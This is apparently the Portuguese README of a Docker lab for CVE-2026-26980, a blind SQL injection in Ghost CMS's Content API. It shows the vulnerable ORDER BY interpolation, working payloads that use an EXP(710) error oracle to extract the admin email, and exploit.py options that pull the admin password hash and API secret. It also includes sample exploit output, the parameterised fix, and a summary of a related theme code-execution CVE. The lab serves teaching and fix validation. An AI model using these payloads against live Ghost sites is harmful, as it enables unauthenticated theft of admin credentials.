
CVE-2026-26980 — Laboratório de Injeção SQL na Content API do Ghost CMS (SQLi cego não autenticado via ordenação do filtro slug)
| CVE | CVE-2026-26980 |
| Advisory | GHSA-w52v-v783-gw97 |
| CVSS | 9.4 (Crítico) |
| CWE | CWE-89 (Injeção SQL) |
| Afetado | Ghost 3.24.0 -- 6.19.0 |
| Corrigido | Ghost 6.19.1 |
| Autenticação necessária | Nenhuma (a chave da Content API é pública por design) |
| Crédito/Referências | Nicholas Carlini usando Claude, Anthropic [https://www.youtube.com/watch?v=1sd26pWhfmg] |
Aviso -- Este laboratório destina-se apenas a testes de segurança autorizados, educação e pesquisa defensiva. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
A Content API do Ghost suporta filtrar tags e posts por slug usando notação de array: filter=slug:[tag-a,tag-b]. Internamente, uma função auxiliar constrói uma instrução ORDER BY CASE para preservar a ordem solicitada dos slugs. Antes da v6.19.1, os valores de slug fornecidos pelo usuário eram interpolados diretamente neste SQL sem parametrização:
// ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js (VULNERÁVEL)
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
A chave da Content API está embutida no HTML de todo site Ghost (data-key="..."), tornando esta uma superfície de ataque totalmente não autenticada.
A linguagem de consulta NQL do Ghost valida a entrada do filtro e rejeita aspas simples ou espaços brutos. No entanto, o NQL aceita valores envolvidos por aspas simples dentro da notação de array (slug:['valor']), passando as aspas como parte do literal. A regex slugFilterOrder extrai esses valores e os interpola — aspas incluídas — no SQL:
Filter: slug:['||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||',news]
^ ^
NQL passa as aspas como caracteres literais
Após a interpolação, o ORDER BY se torna:
CASE
WHEN `tags`.`slug` = ''||CASE WHEN 1=1 THEN 0 ELSE EXP(710) END||'' THEN 0
WHEN `tags`.`slug` = 'news' THEN 1
END ASC
No modo SQL padrão do MySQL, || é OR e '' é falso. Isso nos dá um oráculo booleano limpo:
| Condição | Resultado do CASE | Efeito |
|---|---|---|
| VERDADEIRO | '' OR 0 OR '' = 0 | Resposta normal (HTTP 200) |
| FALSO | '' OR EXP(710) OR '' | Erro de estouro DOUBLE (HTTP 500) |
Com o oráculo estabelecido, aplica-se a extração cega padrão por busca binária:
slug:['||CASE WHEN ORD(SUBSTR((SELECT email FROM users LIMIT 1) FROM 1 FOR 1)) > 64 THEN 0 ELSE EXP(710) END||',news]
A sintaxe SUBSTR(... FROM pos FOR len) evita vírgulas (nas quais o slugFilterOrder divide).
| VERDADEIRO (1=1) → HTTP 200 | FALSO (1=0) → HTTP 500 |
|---|---|
![]() | ![]() |





A correção substitui a interpolação de strings por bindings parametrizados:
// CORRIGIDO
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
O plugin crud.js foi atualizado para encadear bindings através do orderByRaw, e o @tryghost/bookshelf-plugins foi atualizado para 0.6.29, que adiciona suporte a bindings.
requests# Clone e entre no laboratório
git clone <este-repo> && cd ghost-cve-2026-26980
# Instale a dependência Python
pip install -r requirements.txt
# Inicie a instância Ghost vulnerável (6.18.0 + MySQL 8)
docker compose up -d
# Aguarde ~45 segundos para o Ghost inicializar e então execute o exploit
python3 exploit.py --url http://localhost:2368
# Também inicie o Ghost 6.19.1 corrigido na porta 2369
docker compose --profile fixed up -d
# Aguarde ~45 segundos e confirme que a correção bloqueia a injeção
python3 exploit.py --url http://localhost:2369 --validate-fix
bash validate.sh
docker compose --profile fixed down -v
usage: exploit.py [-h] [--url URL] [--validate-fix] [--extract-password]
[--extract-api-key] [--content-key KEY] [-v]
options:
--url URL URL do Ghost (padrão: http://localhost:2368)
--validate-fix Confirma que o alvo NÃO é vulnerável
--extract-password Também extrai o hash bcrypt do admin
--extract-api-key Também extrai o segredo da API do admin
--content-key KEY Pula a configuração, usa esta chave da Content API diretamente
-v, --verbose Mostra resultados do oráculo por consulta
====================================================
CVE-2026-26980 — Injeção SQL na Content API do Ghost CMS
====================================================
[*] Aguardando o Ghost em http://localhost:2368 ficar pronto
[*] Configurando o Ghost (admin: [email protected])
[+] Configuração concluída — estabelecendo sessão
[+] Conectado
[+] Chave da Content API: ad63c06a71457583ea58f050c1
[+] Slug âncora: news
[*] Fase 1 — verificação cega booleana
CASE WHEN 1=1: 200 (VERDADEIRO)
CASE WHEN 1=0: 500 (FALSO)
[+] Oráculo booleano confirmado — VULNERÁVEL
[*] Fase 2a — extraindo email do admin
Medindo o comprimento do email do admin... 21 caracteres
Extraindo: [email protected]
[+] Email: [email protected]
============================================================
RESUMO DA EXPLORAÇÃO
============================================================
Alvo: http://localhost:2368
CVE: CVE-2026-26980
Chave de conteúdo: ad63c06a71457583ea58f050c1
Email do admin: [email protected]
============================================================
Uma segunda vulnerabilidade foi corrigida na mesma versão. O helper Handlebars {{#get}} do Ghost usava o pacote jsonpath (que depende de static-eval) para resolver expressões de caminho. Temas maliciosos podiam criar expressões que alcançavam Function() via travessia de protótipo, obtendo execução de código no servidor.
| CVE | CVE-2026-29053 |
| Afetado | Ghost 0.7.2 -- 6.19.0 |
| Autenticação | Admin (upload de tema) |
| Correção | Substituiu jsonpath por uma função querySimplePath() restrita que suporta apenas notação de ponto, [N] e [*] |
Este laboratório foca no CVE-2026-26980 por ser não autenticado e mais impactante para atacantes externos.
.
├── README.md # Este arquivo
├── docker-compose.yml # Ghost 6.18.0 (vuln) + 6.19.1 (corrigido) com MySQL 8
├── exploit.py # PoC completo: configuração, verificação, extração
├── validate.sh # Wrapper de validação ponta a ponta
└── requirements.txt # Dependências Python
Este laboratório é fornecido para fins educacionais e de testes de segurança autorizados sob a Licença MIT.